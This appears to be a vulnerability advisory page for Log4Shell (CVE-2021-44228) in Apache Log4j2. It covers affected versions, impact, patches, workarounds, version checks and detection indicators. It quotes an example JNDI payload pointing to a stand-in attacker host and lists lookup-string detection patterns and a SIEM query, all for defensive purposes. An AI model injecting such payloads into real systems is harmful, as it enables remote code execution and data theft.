CVE-2021-44228

10.0 CRITICAL

📋 TL;DR

CVE-2021-44228 (Log4Shell) is a critical remote code execution vulnerability in Apache Log4j2 that allows attackers to execute arbitrary code by exploiting JNDI lookups in log messages. This affects any application using vulnerable versions of log4j-core that processes attacker-controlled input. The vulnerability is particularly dangerous because it can be triggered through various input vectors including HTTP headers, user agents, and form fields.

💻 Affected Systems

Products:
  • Apache Log4j2
  • Any Java application using log4j-core
Versions: 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1)
Operating Systems: All operating systems running Java applications
Default Config Vulnerable: ⚠️ Yes
Notes: Only affects log4j-core component. Applications must have message lookup substitution enabled (default in affected versions).

📦 What is this software?

⚠️ Risk & Real-World Impact

🔴

Worst Case

Full system compromise allowing attackers to execute arbitrary code, install malware, exfiltrate data, and pivot to other systems in the network.

🟠

Likely Case

Remote code execution leading to data theft, ransomware deployment, or cryptocurrency mining on vulnerable servers.

🟢

If Mitigated

Limited impact with proper network segmentation, egress filtering, and security controls preventing external JNDI connections.

🌐 Internet-Facing: HIGH - Internet-facing applications are directly exploitable by remote attackers without authentication.
🏢 Internal Only: HIGH - Internal applications remain vulnerable to insider threats or compromised internal systems.

🎯 Exploit Status

Public PoC: ⚠️ Yes
Weaponized: CONFIRMED
Unauthenticated Exploit: ⚠️ Yes
Complexity: LOW

Mass exploitation observed in the wild. Simple payloads like ${jndi:ldap://attacker.com/a} can trigger the vulnerability.

🛠️ Fix & Mitigation

✅ Official Fix

Patch Version: 2.16.0 (or 2.12.2, 2.12.3, 2.3.1 for older branches)

Vendor Advisory: https://logging.apache.org/log4j/2.x/security.html

Restart Required: Yes

Instructions:

1. Identify all applications using log4j-core. 2. Update to log4j-core 2.16.0 or later. 3. Restart all affected applications. 4. Verify the fix by checking version and testing.

🔧 Temporary Workarounds

Disable JNDI lookups

all

Set system property to disable JNDI lookups in log4j2

-Dlog4j2.formatMsgNoLookups=true

Remove JndiLookup class

linux

Remove the vulnerable class from log4j-core JAR file

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

🧯 If You Can't Patch

  • Implement network egress filtering to block outbound LDAP, RMI, and DNS requests to untrusted destinations
  • Use WAF rules to block ${jndi:} patterns in incoming requests

🔍 How to Verify

Check if Vulnerable:

Check application dependencies for log4j-core versions 2.0-beta9 through 2.15.0 (excluding 2.12.2, 2.12.3, 2.3.1)

Check Version:

java -cp log4j-core-*.jar org.apache.logging.log4j.core.Version

Verify Fix Applied:

Verify log4j-core version is 2.16.0 or later, or 2.12.2/2.12.3/2.3.1

📡 Detection & Monitoring

Log Indicators:

  • ${jndi:}
  • ${lower:
  • ${upper:
  • ${env:
  • ${sys:
  • ${java:
  • ${date:
  • ${ctx:

Network Indicators:

  • Outbound LDAP/RMI/DNS requests from applications to suspicious domains
  • Unusual Java process spawning

SIEM Query:

source="*log*" AND "${jndi:" OR "${lower:" OR "${upper:" OR "${env:" OR "${sys:"

🔗 References

📤 Share & Export